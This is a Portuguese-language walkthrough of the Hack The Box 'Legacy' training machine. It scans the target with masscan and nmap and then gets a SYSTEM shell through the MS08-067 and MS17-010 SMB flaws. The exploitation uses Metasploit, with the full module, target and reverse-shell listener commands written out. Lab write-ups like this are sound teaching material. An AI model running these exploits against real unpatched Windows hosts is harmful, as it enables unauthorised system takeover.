Hack the Box – Legacy Writeup
- Arthur Souza
- Writeups
- 17 de abril de 2023
Usaremos Metasploit neste post
Hoje veremos o writeup completo da máquina Legacy do Hack The Box!
Link de acesso: https://app.hackthebox.com/machines/Legacy
Descrição
A máquina Legacy é bastante simples para iniciantes que demonstra os potenciais riscos de segurança do serviço SAMBA/SMB no Windows.
Apenas um exploit disponível publicamente é necessário para obter acesso de administrador e iremos os passos a seguir de como explorar este serviço.
Conhecimento requeridos:
- Conhecimento básico em Windows
- Enumeração de portas e serviços
Conhecimento que serão aprendidos:
- Identificação de serviços vulneráveis
- Exploração do serviço SAMBA/SMB
Reconhecimento
Inicialmente, utilizamos o Masscan para efetuar uma enumeração ágil dos serviços ativos na máquina, direcionando a saída para o arquivo “ports”
masscan -p1-65535,U:1-65535 10.10.10.4 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
Popular a variável “ports” com as portas abertas identificadas
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//')
Em seguida, empregamos o NMAP para realizar uma varredura dos serviços identificados
nmap -Pn -sV -sC -p$ports 10.10.10.4
Observaçao: Esta é apenas uma forma de se fazer o scan de serviços ativos, mas sinta-se à vontade para usar outros métodos que desejar.
Resultado do scan:
Ao analisarmos esse resultado, podemos concluir que o sistema operacional em uso é o Windows (provavelmente a versão XP), bem como identificar que está sendo utilizado o serviço Samba/SMB na versão 2.
Podemos realizar uma nova verificação utilizando o NMAP para identificar possíveis vulnerabilidades no serviço samba/smb.
nmap -script smb-vuln* -p 139,445 10.10.10.4
Como podemos observar no print acima, a máquina apresenta vulnerabilidades tanto para a ms08-067 (CVE-2008-4250) quanto para a ms17-010 (CVE-2017-0143). Nesse caso, podemos verificar a disponibilidade de um módulo no Metasploit para explorar o serviço em questão.
Exploração através do ms08-067
msfconsole
search MS08-067
use exploit/windows/smb/ms08_067_netapi
set rhost 10.10.10.4
set lhost tun0
run
Vemos que obtemos sucesso na exploração, assim como conseguimos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Exploração através do MS17-010
search MS17-010
A partir dessa lista, optamos por testar o primeiro módulo disponível, o exploit/windows/smb/ms17_010_eternalblue. Entretanto, durante a execução, foi verificado que esse módulo suporta somente sistemas operacionais Windows 5.1 x86 (32 bits), impossibilitando sua execução.
Sendo assim, a alternativa escolhida foi o módulo exploit/windows/smb/ms17_010_psexec, que é capaz de operar em sistemas de 32 bits.
Link referência: https://www.lmgsecurity.com/manually-exploiting-ms17-010/
use exploit/windows/smb/ms17_010_psexec
set rhost 10.10.10.4
set lhost tun0
run
Como podemos ver no print acima, após executar o exploit nós obtemos acesso com o usuário SYSTEM.
Observação: Vale ressaltar que não é necessário realizar a escalação de privilégio.
Flags do sistema
É necessário validar quais usuários estão ativos na máquina a fim de identificar a localização das nossas flags.
shell
net users
Agora que sabemos quais usuários estão ativos no sistema, o próximo passo é validar os diretórios do usuário “john” a fim de localizar a flag “user.txt”.
No entanto, antes de iniciar essa busca, é necessário verificar se o sistema possui a estrutura de pastas padrão em “C:\Users”, ou se há alguma outra organização de diretórios.
cd c:\
dir
A estrutura de pastas deste sistema difere da organização padrão do Windows, na qual a pasta “Documents and Settings” geralmente contém os arquivos dos usuários.
Dessa forma, podemos utilizar o comando abaixo para varrer a máquina em busca dos arquivos desejados, exibindo a estrutura de pastas em formato de estrutura árvore:
tree /f /a "c:\Documents and Settings"
Arquivos identificados
Flag user.txt
type "C:\Documents and Settings\john\Desktop\user.txt"
Flag root.xt
type "C:\Documents and Settings\Administrator\Desktop\root.txt"
Por fim, agradecemos a leitura e esperamos que este post tenha te ajudado de alguma maneira! Caso tenha alguma dúvida, entre em contato conosco pelo Telegram , Facebook ou Instagram ! Veja mais posts no IronLinux !